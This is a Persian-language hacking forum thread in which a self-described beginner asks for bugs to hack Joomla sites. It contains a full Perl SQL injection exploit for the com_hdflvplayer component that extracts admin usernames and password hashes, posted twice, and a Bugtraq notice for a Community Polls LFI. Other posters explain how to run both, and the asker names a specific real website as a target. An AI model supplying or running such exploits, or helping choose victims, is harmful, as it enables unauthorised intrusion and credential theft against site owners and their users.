باگ براي هك جوملا

[alimurtazaa]

سلام كسي باگي براي هك سايت هاي جوملا داره اگه داره لطفاً بده حتماً جبرانش ميكنم

[alimurtazaa]

سلام چطوري از اين باگ ها استفاده كنم

باگ اول:
#!/usr/bin/perl -w

################################################## #############################################
#
# [~] Joomla Component com_hdflvplayer SQL injection exploit - (id)
# [~] Author : kaMtiEz ([Only registered and activated users can see links])
# [~] Homepage : [Only registered and activated users can see links]
# [~] Date : 15 February, 2010
#
################################################## #############################################
#
# [ Software Information ]
#
# [+] Vendor : [Only registered and activated users can see links]
# [+] Price : $ 99.00
# [+] Vulnerability : SQL injection
# [+] Dork : inurl:"CIHUY"
# [+] Type : commercial
#
################################################## #############################################
#
# USAGE : perl kaMz.pl
#
################################################## #############################################

print "\t\t[!]================================================== =======[!]\n\n";
print "\t\t [~] INDONESIANCODER TEAM [~] \n\n";
print "\t\t[!]================================================== =======[!]\n\n";
print "\t\t [!]Joomla component com_hdflvplayer SQL injection exploit[!] \n\n";
print "\t\t [~] by kaMtiEz [~] \n\n";
print "\t\t[!]================================================== =======[!]\n\n";

use LWP::UserAgent;

print "\nsite/path[!][Only registered and activated users can see links][!]:";
chomp(my $IBL13Z=<STDIN>);

$kaMtiEz="concat(username,0x3a,password)";
$tukulesto="jos_users";
$pathloader="com_hdflvplayer";

$r3m1ck = LWP::UserAgent->new() or die "Could not initialize browser\n";
$r3m1ck->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$arianom = $IBL13Z . "/index.php?option=".$pathloader."&id=1+AND+1=2+UNION+SELECT+".$kaMtiEz.",1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from +".$t
ukulesto."--";
$gonzhack = $r3m1ck->request([Only registered and activated users can see links]>new(GET=>$arianom));
$contrex = $gonzhack->content; if ($contrex =~/([0-9a-fA-F]{32})/){
print "\n[+] CIHUY Admin Password Nya GAN [+]: $1\n\n";
}
else{print "\n[+] Exploit GAGAL GAN ![+]\n";
}

باگ دوم:

Bugtraq ID: 38330
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Feb 19 2010 12:00AM
Updated: Feb 22 2010 04:02PM
Credit: kaMtiEz
Vulnerable: Core Joomla Community Polls 1.5.2
Not Vulnerable: Core Joomla Community Polls 1.5.3


Attackers can exploit this issue via a browser.

The following example URI is available:

[Only registered and activated users can see links]

لطفاً كمك كنيد

[PrinceofHacking]

جای سوالتون اینجا نبود .... (توی بخش تازه وارد یا سوال جواب میپرسیدین)

باگ اول به زبون پرل هست پس با active Perl اجراش کنید ....


باگ دوم هم باگ lfi هست که میتونید اونو از طریق URL اجرا کنید

[M.Prince]

به نظر من یه سر به میلورم بزن

[alimurtazaa]

ممنون آقا يك سوال ديگه اين سايت channelonehd.com كدوم يك از اين باگ هاي رو كه تو بالا گفتم رو تو فكر تون داره؟ آخه من تازه وارد هيچي نميودنم

[Mehdy007]

سلام

برای پیدا کردن باگ های سیستم های مدیریت محتوا نظیر جوملا میتونی ازاین تاپیک دیدن کنید که سعی می شه هر روز هم آپدیت بشه :

تاپیک جامع باگ های cms ها ([Only registered and activated users can see links])

موفق باشی

[XFORMER]

سلام چطوري از اين باگ ها استفاده كنم

باگ اول:
#!/usr/bin/perl -w

################################################## #############################################
#
# [~] joomla component com_hdflvplayer sql injection exploit - (id)
# [~] author : Kamtiez ([Only registered and activated users can see links])
# [~] homepage : [Only registered and activated users can see links]
# [~] date : 15 february, 2010
#
################################################## #############################################
#
# [ software information ]
#
# [+] vendor : [Only registered and activated users can see links]
# [+] price : $ 99.00
# [+] vulnerability : Sql injection
# [+] dork : Inurl:"cihuy"
# [+] type : Commercial
#
################################################## #############################################
#
# usage : Perl kamz.pl
#
################################################## #############################################

print "\t\t[!]================================================== =======[!]\n\n";
print "\t\t [~] indonesiancoder team [~] \n\n";
print "\t\t[!]================================================== =======[!]\n\n";
print "\t\t [!]joomla component com_hdflvplayer sql injection exploit[!] \n\n";
print "\t\t [~] by kamtiez [~] \n\n";
print "\t\t[!]================================================== =======[!]\n\n";

use lwp::useragent;

print "\nsite/path[!][Only registered and activated users can see links][!]:";
chomp(my $ibl13z=<stdin>);

$kamtiez="concat(username,0x3a,password)";
$tukulesto="jos_users";
$pathloader="com_hdflvplayer";

$r3m1ck = lwp::useragent->new() or die "could not initialize browser\n";
$r3m1ck->agent('mozilla/4.0 (compatible; msie 7.0; windows nt 5.1)');

$arianom = $ibl13z . "/index.php?option=".$pathloader."&id=1+and+1=2+union+select+".$kamtiez.",1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from +".$t
ukulesto."--";
$gonzhack = $r3m1ck->request([Only registered and activated users can see links]>new(get=>$arianom));
$contrex = $gonzhack->content; if ($contrex =~/([0-9a-fa-f]{32})/){
print "\n[+] cihuy admin password nya gan [+]: $1\n\n";
}
else{print "\n[+] exploit gagal gan ![+]\n";
}

باگ دوم:

bugtraq id: 38330
class: Input validation error
cve:
Remote: Yes
local: No
published: Feb 19 2010 12:00am
updated: Feb 22 2010 04:02pm
credit: Kamtiez
vulnerable: Core joomla community polls 1.5.2
not vulnerable: Core joomla community polls 1.5.3


attackers can exploit this issue via a browser.

The following example uri is available:

[Only registered and activated users can see links]

لطفاً كمك كنيد








اين كدها رو كجا بايد بزاريم تورو خدا بگين من هكر نيستم مي خوام اينو بدونم.البته چند تا از فيلم هاتونو دانلود كردم.پارت1 تا 3 شل رو ميگم.